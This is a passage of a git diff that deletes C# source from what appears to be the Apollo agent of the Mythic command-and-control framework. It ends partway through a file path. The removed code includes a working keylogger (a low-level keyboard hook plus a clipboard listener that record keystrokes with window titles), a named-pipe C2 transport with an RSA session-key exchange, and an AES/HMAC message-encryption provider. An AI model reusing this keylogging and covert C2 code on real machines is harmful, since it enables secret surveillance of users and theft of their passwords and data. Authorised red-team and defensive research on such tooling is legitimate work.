Keys.F10: - key = "[F10]"; - break; - case Keys.F11: - key = "[F11]"; - break; - case Keys.F12: - key = "[F12]"; - break; - - case Keys.Snapshot: - key = "[Print Screen]"; - break; - case Keys.Scroll: - key = "[Scroll Lock]"; - break; - case Keys.Pause: - key = "[Pause/Break]"; - break; - case Keys.Insert: - key = "[Insert]"; - break; - case Keys.Home: - key = "[Home]"; - break; - case Keys.Delete: - key = "[Delete]"; - break; - case Keys.End: - key = "[End]"; - break; - case Keys.Prior: - key = "[Page Up]"; - break; - case Keys.Next: - key = "[Page Down]"; - break; - case Keys.Escape: - key = "[Esc]"; - break; - case Keys.NumLock: - key = "[Num Lock]"; - break; - //case Keys.Capital: - // key = "[Caps Lock]"; - // break; - case Keys.Space: - key = " "; - break; - case Keys.Tab: - key = "[Tab]\t"; - break; - case Keys.Back: - key = "[Backspace]"; - break; - case Keys.Enter: - key = "[Enter]\n"; - break; - case Keys.Left: - key = "[Left]"; - break; - case Keys.Up: - key = "[Up]"; - break; - case Keys.Right: - key = "[Right]"; - break; - case Keys.Down: - key = "[Down]"; - break; - case Keys.LMenu: - key = "[Alt]"; - break; - case Keys.RMenu: - key = "[Alt]"; - break; - case Keys.LWin: - key = "[Windows Key]"; - break; - case Keys.RWin: - key = "[Windows Key]"; - break; - //case Keys.LShiftKey: - // key = "[Shift]"; - // break; - //case Keys.RShiftKey: - // key = "[Shift]"; - // break; - case Keys.LControlKey: - key = "[Ctrl]"; - break; - case Keys.RControlKey: - key = "[Ctrl]"; - break; - } - } - } - if (!string.IsNullOrEmpty(key)) - { - StringBuilder title = new StringBuilder(256); - if (hWindow != IntPtr.Zero) - GetWindowText(hWindow, title, title.Capacity); - - - LogMessage(new ApolloInterop.Structs.MythicStructs.KeylogInformation - { - Username = Username, - WindowTitle = title.ToString(), - Keystrokes = key - }); - } - } - } - } - catch (Exception ex) - { - //Console.WriteLine("[X] Error in CallbackFunction: {0}", ex.Message); - //Console.WriteLine("[X] StackTrace: {0}", ex.StackTrace); - } - return CallNextHookEx(HookIdentifier, code, wParam, lParam); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Native.cs b/Payload_Type/apollo/apollo/agent_code/KeylogInject/Native.cs deleted file mode 100644 index 977269ff..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Native.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System; -using System.Windows.Forms; -using System.Runtime.InteropServices; -using System.Text; -using System.Diagnostics; - -namespace KeylogInject -{ - static class Native - { - internal delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 0x0100; - - public static IntPtr SetHook(LowLevelKeyboardProc proc) - { - using (Process curProcess = Process.GetCurrentProcess()) - using (ProcessModule curModule = curProcess.MainModule) - { - return SetWindowsHookEx(WH_KEYBOARD_LL, proc, - GetModuleHandle(curModule.ModuleName), 0); - } - } - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern short GetKeyState(int nVirtKey); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern short GetAsyncKeyState(Keys vKey); - - [DllImport("user32.dll")] - internal static extern IntPtr GetForegroundWindow(); - - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - internal static extern bool UnhookWindowsHookEx(IntPtr hhk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("user32.dll")] - internal static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); - - //Reference https://docs.microsoft.com/en-us/windows/desktop/dataxchg/wm-clipboardupdate - public const int WM_CLIPBOARDUPDATE = 0x031D; - //Reference https://www.pinvoke.net/default.aspx/Constants.HWND - public static IntPtr HWND_MESSAGE = new IntPtr(-3); - - //Reference https://www.pinvoke.net/default.aspx/user32/AddClipboardFormatListener.html - [DllImport("user32.dll", SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool AddClipboardFormatListener(IntPtr hwnd); - - //Reference https://www.pinvoke.net/default.aspx/user32.setparent - [DllImport("user32.dll", SetLastError = true)] - public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent); - - //Reference https://www.pinvoke.net/default.aspx/user32.getwindowtextlength - [DllImport("user32.dll")] - public static extern int GetWindowTextLength(IntPtr hWnd); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Program.cs b/Payload_Type/apollo/apollo/agent_code/KeylogInject/Program.cs deleted file mode 100644 index 6165f5f3..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Program.cs +++ /dev/null @@ -1,134 +0,0 @@ -using System; -using System.Text; -using ApolloInterop.Classes.Collections; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Serializers; -using ST=System.Threading.Tasks; -using System.Threading; -using System.Windows.Forms; -using static KeylogInject.Native; -using System.Collections.Concurrent; -using ApolloInterop.Classes; -using System.IO.Pipes; -using ApolloInterop.Interfaces; -using ApolloInterop.Constants; -using ApolloInterop.Structs.MythicStructs; - -namespace KeylogInject -{ - class Program - { - private static string _namedPipeName; - private static ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private static AsyncNamedPipeServer _server; - private static AutoResetEvent _senderEvent = new AutoResetEvent(false); - private static CancellationTokenSource _cts = new CancellationTokenSource(); - - private static ThreadSafeList _keylogs = new ThreadSafeList(); - private static bool _completed = false; - private static AutoResetEvent _completeEvent = new AutoResetEvent(false); - private static JsonSerializer _jsonSerializer = new JsonSerializer(); - - - private static ST.Task _sendTask = null; - private static Action _sendAction = null; - - private static ST.Task _flushTask = null; - private static Action _flushAction = null; - - private static IntPtr _hookIdentifier = IntPtr.Zero; - private static Thread _appRunThread; - - static void Main(string[] args) - { -#if DEBUG - _namedPipeName = "keylogtest"; -#else - if (args.Length != 1) - { - throw new Exception("No named pipe name given."); - } - _namedPipeName = args[0]; -#endif - _sendAction = new Action((object p) => - { - PipeStream ps = (PipeStream)p; - WaitHandle[] waiters = new WaitHandle[] - { - _completeEvent, - _senderEvent - }; - while (!_completed && ps.IsConnected) - { - WaitHandle.WaitAny(waiters, 1000); - if (_senderQueue.TryDequeue(out byte[] result)) - { - ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, ps); - } - } - ps.Close(); - }); - _server = new AsyncNamedPipeServer(_namedPipeName, null, 1, IPC.SEND_SIZE, IPC.RECV_SIZE); - _server.ConnectionEstablished += OnAsyncConnect; - _server.Disconnect += ServerDisconnect; - - _completeEvent.WaitOne(); - } - - private static void StartKeylog() - { - ClipboardNotification.LogMessage = AddToSenderQueue; - Keylogger.LogMessage = AddToSenderQueue; - Thread t = new Thread(() => Application.Run(new ClipboardNotification())); - t.SetApartmentState(ApartmentState.STA); - t.Start(); - Keylogger.HookIdentifier = SetHook(Keylogger.HookCallback); - Application.Run(); - } - - private static void ServerDisconnect(object sender, NamedPipeMessageArgs e) - { - UnhookWindowsHookEx(Keylogger.HookIdentifier); - _completed = true; - _cts.Cancel(); - Application.Exit(); - _completeEvent.Set(); - } - - private static bool AddToSenderQueue(IMythicMessage msg) - { - IPCChunkedData[] parts = _jsonSerializer.SerializeIPCMessage(msg, IPC.SEND_SIZE / 2); - foreach (IPCChunkedData part in parts) - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(_jsonSerializer.Serialize(part))); - } - _senderEvent.Set(); - return true; - } - - private static void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - pipe.EndWrite(result); - // Potentially delete this since theoretically the sender Task does everything - if (_senderQueue.TryDequeue(out byte[] data)) - { - pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); - } - } - - public static void OnAsyncConnect(object sender, NamedPipeMessageArgs args) - { - // We only accept one connection at a time, sorry. - if (_sendTask != null) - { - args.Pipe.Close(); - return; - } - _sendTask = new ST.Task(_sendAction, args.Pipe); - _sendTask.Start(); - Thread t = new Thread(StartKeylog); - t.Start(); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/KeylogInject/Properties/AssemblyInfo.cs deleted file mode 100644 index b378e2b5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("KeylogInject")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("KeylogInject")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("6eacc51e-1e46-4c6f-9516-b71f09ad00d1")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/KeylogInject/packages.config b/Payload_Type/apollo/apollo/agent_code/KeylogInject/packages.config deleted file mode 100644 index de7934ce..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KeylogInject/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/NamedPipeProfile.cs b/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/NamedPipeProfile.cs deleted file mode 100644 index 7e4371bd..00000000 --- a/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/NamedPipeProfile.cs +++ /dev/null @@ -1,415 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using ApolloInterop.Interfaces; -using ApolloInterop.Classes; -using System.IO.Pipes; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Types.Delegates; -using ApolloInterop.Structs.ApolloStructs; -using System.Collections.Concurrent; -using ApolloInterop.Enums.ApolloEnums; -using System.Threading; -using ST = System.Threading.Tasks; -using ApolloInterop.Serializers; -using ApolloInterop.Constants; -using ApolloInterop.Classes.Core; -using ApolloInterop.Classes.Events; -using ApolloInterop.Utils; - -namespace NamedPipeTransport -{ - public class NamedPipeProfile : C2Profile, IC2Profile - { - internal struct AsyncPipeState - { - internal PipeStream Pipe; - internal CancellationTokenSource Cancellation; - internal ST.Task Task; - } - private string _namedPipeName; - private AsyncNamedPipeServer _server; - private bool _encryptedExchangeCheck; - private static ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private static AutoResetEvent _senderEvent = new AutoResetEvent(false); - private static ConcurrentQueue _recieverQueue = new ConcurrentQueue(); - private static AutoResetEvent _receiverEvent = new AutoResetEvent(false); - private Dictionary _writerTasks = new Dictionary(); - private Action _sendAction; - private IAgent _agent; - private CheckinMessage? _savedCheckin = null; - private bool _uuidNegotiated = false; - - private ST.Task _agentConsumerTask = null; - private ST.Task _agentProcessorTask = null; - private int chunkSize = IPC.SEND_SIZE; - private UInt32 _currentMessageSize = 0; - private UInt32 _currentMessageChunkNum = 0; - private UInt32 _currentMessageTotalChunks = 0; - private bool _currentMessageReadAllMetadata = false; - private string _currentMessageID = Guid.NewGuid().ToString(); - private Byte[] _partialData = []; - - public NamedPipeProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) - { - _namedPipeName = data["pipename"]; - _encryptedExchangeCheck = data["encrypted_exchange_check"] == "true"; - _agent = agent; - _sendAction = (object p) => - { - CancellationTokenSource cts = ((AsyncPipeState)p).Cancellation; - PipeStream pipe = ((AsyncPipeState)p).Pipe; - while (pipe.IsConnected && !cts.IsCancellationRequested) - { - // Check queue before waiting to avoid race condition - if (_senderQueue.IsEmpty) - { - _senderEvent.WaitOne(); - } - if (!cts.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] result)) - { - UInt32 totalChunksToSend = (UInt32)(result.Length / chunkSize) + 1; - byte[] totalChunkBytes = BitConverter.GetBytes(totalChunksToSend); - Array.Reverse(totalChunkBytes); - for (UInt32 currentChunk = 0; currentChunk < totalChunksToSend; currentChunk++) - { - byte[] chunkData; - if ((currentChunk + 1) * chunkSize > result.Length) - { - chunkData = new byte[result.Length - (currentChunk * chunkSize)]; - } - else - { - chunkData = new byte[chunkSize]; - } - Array.Copy(result, currentChunk * chunkSize, chunkData, 0, chunkData.Length); - byte[] sizeBytes = BitConverter.GetBytes((UInt32)chunkData.Length + 8); - Array.Reverse(sizeBytes); - byte[] currentChunkBytes = BitConverter.GetBytes(currentChunk); - Array.Reverse(currentChunkBytes); - DebugHelp.DebugWriteLine($"sending chunk {currentChunk}/{totalChunksToSend} with size {chunkData.Length + 8}"); - try - { - pipe.BeginWrite(sizeBytes, 0, sizeBytes.Length, OnAsyncMessageSent, p); - pipe.BeginWrite(totalChunkBytes, 0, totalChunkBytes.Length, OnAsyncMessageSent, p); - pipe.BeginWrite(currentChunkBytes, 0, currentChunkBytes.Length, OnAsyncMessageSent, p); - pipe.BeginWrite(chunkData, 0, chunkData.Length, OnAsyncMessageSent, p); - }catch(Exception ex) - { - break; - } - - } - //pipe.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, pipe); - } - } - }; - } - - public void OnAsyncConnect(object sender, NamedPipeMessageArgs args) - { - // We only accept one connection at a time, sorry. - if (_writerTasks.Count > 0) - { - args.Pipe.Close(); - return; - } - AsyncPipeState arg = new AsyncPipeState() - { - Pipe = args.Pipe, - Cancellation = new CancellationTokenSource(), - }; - ST.Task tmp = new ST.Task(_sendAction, arg); - arg.Task = tmp; - _writerTasks[args.Pipe] = arg; - _writerTasks[args.Pipe].Task.Start(); - Connected = true; - } - - public void OnAsyncDisconnect(object sender, NamedPipeMessageArgs args) - { - args.Pipe.Close(); - if (_writerTasks.ContainsKey(args.Pipe)) - { - var tmp = _writerTasks[args.Pipe]; - _writerTasks.Remove(args.Pipe); - Connected = _writerTasks.Count > 0; - - tmp.Cancellation.Cancel(); - _senderEvent.Set(); - _receiverEvent.Set(); - - tmp.Task.Wait(); - } - } - - public void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args) - { - Byte[] sData = args.Data.Data.Take(args.Data.DataLength).ToArray(); - DebugHelp.DebugWriteLine($"got message from remote connection with length: {sData.Length}"); - while (sData.Length > 0) - { - if (_currentMessageSize == 0) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } - else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian? - _currentMessageSize = BitConverter.ToUInt32(messageSizeBytes, 0) - 8; - continue; - } - } - if (_currentMessageTotalChunks == 0) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } - else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian? - _currentMessageTotalChunks = BitConverter.ToUInt32(messageSizeBytes, 0); - continue; - } - } - if (_currentMessageChunkNum == 0 && !_currentMessageReadAllMetadata) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } - else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian? - _currentMessageChunkNum = BitConverter.ToUInt32(messageSizeBytes, 0) + 1; - _currentMessageReadAllMetadata = true; - continue; - } - - } - // try to read up to the remaining number of bytes - if (_partialData.Length + sData.Length > _currentMessageSize) - { - // we potentially have this message and the next data in the pipeline - byte[] nextData = sData.Take((int)_currentMessageSize - _partialData.Length).ToArray(); - _partialData = [.. _partialData, .. nextData]; - sData = sData.Skip(nextData.Length).ToArray(); - - } - else - { - // we don't enough enough data to max out the current message size, so take it all - _partialData = [.. _partialData, .. sData]; - sData = sData.Skip(sData.Length).ToArray(); - } - if (_partialData.Length == _currentMessageSize) - { - DebugHelp.DebugWriteLine($"got chunk {_currentMessageChunkNum}/{_currentMessageTotalChunks} with size {_currentMessageSize + 8}"); - UnwrapMessage(); - _currentMessageSize = 0; - _currentMessageChunkNum = 0; - _currentMessageTotalChunks = 0; - _currentMessageReadAllMetadata = false; - } - } - } - - private void UnwrapMessage() - { - IPCChunkedData chunkedData = new(id: _currentMessageID, - chunkNum: (int)_currentMessageChunkNum, totalChunks: (int)_currentMessageTotalChunks, - mt: MessageType.MessageResponse, - data: _partialData.Take(_partialData.Length).ToArray()); - _partialData = []; - lock (MessageStore) - { - if (!MessageStore.ContainsKey(chunkedData.ID)) - { - MessageStore[chunkedData.ID] = new ChunkedMessageStore(); - MessageStore[chunkedData.ID].MessageComplete += DeserializeToReceiverQueue; - } - } - MessageStore[chunkedData.ID].AddMessage(chunkedData); - if (_currentMessageChunkNum == _currentMessageTotalChunks) - { - _currentMessageID = Guid.NewGuid().ToString(); - } - } - - private void OnAsyncMessageSent(IAsyncResult result) - { - - PipeStream pipe = (PipeStream)((AsyncPipeState)(result.AsyncState)).Pipe; - pipe.EndWrite(result); - } - - private bool AddToSenderQueue(IMythicMessage msg) - { - string serializedData = Serializer.Serialize(msg); - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(serializedData)); - _senderEvent.Set(); - return true; - } - - public void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs args) - { - MessageType mt = args.Chunks[0].Message; - List data = new List(); - - for(int i = 0; i < args.Chunks.Length; i++) - { - data.AddRange(Convert.FromBase64String(args.Chunks[i].Data)); - } - - IMythicMessage msg = Serializer.DeserializeIPCMessage(data.ToArray(), mt); - // Console.WriteLine("We got a message: {0}", mt.ToString()); - _recieverQueue.Enqueue(msg); - _receiverEvent.Set(); - } - - - public bool Recv(MessageType mt, OnResponse onResp) - { - while (Agent.IsAlive()) - { - _receiverEvent.WaitOne(); - IMythicMessage msg = _recieverQueue.FirstOrDefault(m => m.GetTypeCode() == mt); - if (msg != null) - { - _recieverQueue = new ConcurrentQueue(_recieverQueue.Where(m => m != msg)); - return onResp(msg); - } - if (!Connected) - break; - } - return true; - } - - - public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) - { - if (_server == null) - { - _server = new AsyncNamedPipeServer(_namedPipeName, null, 1, IPC.SEND_SIZE, IPC.RECV_SIZE); - _server.ConnectionEstablished += OnAsyncConnect; - _server.MessageReceived += OnAsyncMessageReceived; - _server.Disconnect += OnAsyncDisconnect; - } - - if (_encryptedExchangeCheck && !_uuidNegotiated) - { - var rsa = Agent.GetApi().NewRSAKeyPair(4096); - EKEHandshakeMessage handshake1 = new EKEHandshakeMessage() - { - Action = "staging_rsa", - PublicKey = rsa.ExportPublicKey(), - SessionID = rsa.SessionId - }; - AddToSenderQueue(handshake1); - if (!Recv(MessageType.MessageResponse, delegate(IMythicMessage resp) - { - MessageResponse respHandshake = (MessageResponse)resp; - byte[] tmpKey = rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true); - ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey)); - ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID); - return true; - })) - { - return false; - } - } - AddToSenderQueue(checkinMsg); - if (_agentProcessorTask == null || _agentProcessorTask.IsCompleted) - { - return Recv(MessageType.MessageResponse, delegate (IMythicMessage resp) - { - MessageResponse mResp = (MessageResponse)resp; - if (!_uuidNegotiated) - { - _uuidNegotiated = true; - ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID); - checkinMsg.UUID = mResp.ID; - _savedCheckin = checkinMsg; - } - Connected = true; - return onResp(mResp); - }); - } else - { - return true; - } - } - - public void Start() - { - _agentConsumerTask = new ST.Task(()=> - { - while (Agent.IsAlive() && _writerTasks.Count > 0) - { - if (!Agent.GetTaskManager().CreateTaskingMessage(delegate (TaskingMessage tm) - { - if (tm.Delegates.Length != 0 || tm.Responses.Length != 0 || tm.Socks.Length != 0 || tm.Rpfwd.Length != 0 || tm.Edges.Length != 0) - { - AddToSenderQueue(tm); - return true; - } - return false; - })) - { - Thread.Sleep(100); - } - } - }); - _agentProcessorTask = new ST.Task(() => - { - while(Agent.IsAlive() && _writerTasks.Count > 0) - { - Recv(MessageType.MessageResponse, delegate (IMythicMessage msg) - { - return Agent.GetTaskManager().ProcessMessageResponse((MessageResponse)msg); - }); - } - }); - _agentConsumerTask.Start(); - _agentProcessorTask.Start(); - _agentProcessorTask.Wait(); - _agentConsumerTask.Wait(); - } - - public bool Send(IMythicMessage message) - { - return AddToSenderQueue((ApolloInterop.Interfaces.IMythicMessage)message); - } - - public bool SendRecv(T message, OnResponse onResponse) - { - throw new NotImplementedException(); - } - - public bool IsOneWay() - { - return true; - } - - public bool IsConnected() - { - return _writerTasks.Keys.Count > 0; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/NamedPipeProfile.csproj b/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/NamedPipeProfile.csproj deleted file mode 100644 index 0dfab48e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/NamedPipeProfile.csproj +++ /dev/null @@ -1,18 +0,0 @@ - - - net451 - Library - 12 - enable - false - AnyCPU;x64;x86 - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/Properties/AssemblyInfo.cs deleted file mode 100644 index cf94abd9..00000000 --- a/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("NamedPipeProfile")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("NamedPipeProfile")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("3af39094-7f42-4444-a278-fa656eb4678f")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/packages.config b/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/NamedPipeProfile/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/PSKCrypto/PSKCryptography.csproj b/Payload_Type/apollo/apollo/agent_code/PSKCrypto/PSKCryptography.csproj deleted file mode 100644 index 0dfab48e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PSKCrypto/PSKCryptography.csproj +++ /dev/null @@ -1,18 +0,0 @@ - - - net451 - Library - 12 - enable - false - AnyCPU;x64;x86 - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/PSKCrypto/PSKCryptographyProvider.cs b/Payload_Type/apollo/apollo/agent_code/PSKCrypto/PSKCryptographyProvider.cs deleted file mode 100644 index a46abe94..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PSKCrypto/PSKCryptographyProvider.cs +++ /dev/null @@ -1,91 +0,0 @@ -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using System; -using System.Security.Cryptography; -using System.Linq; -using System.IO; - -namespace PSKCryptography -{ - public class PSKCryptographyProvider : CryptographyProvider, ICryptography - { - public PSKCryptographyProvider(string uuid, string key) : base(uuid, key) - { - - } - - - public override string Encrypt(string plaintext) - { - using (Aes scAes = Aes.Create()) - { - // Use our PSK (generated in Apfell payload config) as the AES key - scAes.Key = PSK; - - ICryptoTransform encryptor = scAes.CreateEncryptor(scAes.Key, scAes.IV); - - using (MemoryStream encryptMemStream = new MemoryStream()) - - using (CryptoStream encryptCryptoStream = new CryptoStream(encryptMemStream, encryptor, CryptoStreamMode.Write)) - { - using (StreamWriter encryptStreamWriter = new StreamWriter(encryptCryptoStream)) - encryptStreamWriter.Write(plaintext); - // We need to send uuid:iv:ciphertext:hmac - // Concat iv:ciphertext - byte[] encrypted = scAes.IV.Concat(encryptMemStream.ToArray()).ToArray(); - HMACSHA256 sha256 = new HMACSHA256(PSK); - // Attach hmac to iv:ciphertext - byte[] hmac = sha256.ComputeHash(encrypted); - // Attach uuid to iv:ciphertext:hmac - byte[] final = UUID.Concat(encrypted.Concat(hmac).ToArray()).ToArray(); - // Return base64 encoded ciphertext - return Convert.ToBase64String(final); - } - } - } - - public override string Decrypt(string encrypted) - { - byte[] input = Convert.FromBase64String(encrypted); // FAILURE - - int uuidLength = UUID.Length; - // Input is uuid:iv:ciphertext:hmac, IV is 16 bytes - byte[] uuidInput = new byte[uuidLength]; - Array.Copy(input, uuidInput, uuidLength); - - byte[] IV = new byte[16]; - Array.Copy(input, uuidLength, IV, 0, 16); - - byte[] ciphertext = new byte[input.Length - uuidLength - 16 - 32]; - Array.Copy(input, uuidLength + 16, ciphertext, 0, ciphertext.Length); - - HMACSHA256 sha256 = new HMACSHA256(PSK); - byte[] hmac = new byte[32]; - Array.Copy(input, uuidLength + 16 + ciphertext.Length, hmac, 0, 32); - - if (Convert.ToBase64String(hmac) == Convert.ToBase64String(sha256.ComputeHash(IV.Concat(ciphertext).ToArray()))) - { - using (Aes scAes = Aes.Create()) - { - // Use our PSK (generated in Apfell payload config) as the AES key - scAes.Key = PSK; - - ICryptoTransform decryptor = scAes.CreateDecryptor(scAes.Key, IV); - - using (MemoryStream decryptMemStream = new MemoryStream(ciphertext)) - using (CryptoStream decryptCryptoStream = new CryptoStream(decryptMemStream, decryptor, CryptoStreamMode.Read)) - using (StreamReader decryptStreamReader = new StreamReader(decryptCryptoStream)) - { - string decrypted = decryptStreamReader.ReadToEnd(); - // Return decrypted message from Apfell server - return decrypted; - } - } - } - else - { - throw new Exception("WARNING: HMAC did not match message!"); - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/PSKCrypto/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/PSKCrypto/Properties/AssemblyInfo.cs deleted file mode 100644 index 68d02f15..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PSKCrypto/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("PSKCryptography")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("PSKCryptography")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("c8fc8d87-30db-4fc5-880a-9cd7d156127a")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/PSKCrypto/packages.config b/Payload_Type/apollo/apollo/agent_code/PSKCrypto/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PSKCrypto/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/PlaintextCryptography.csproj 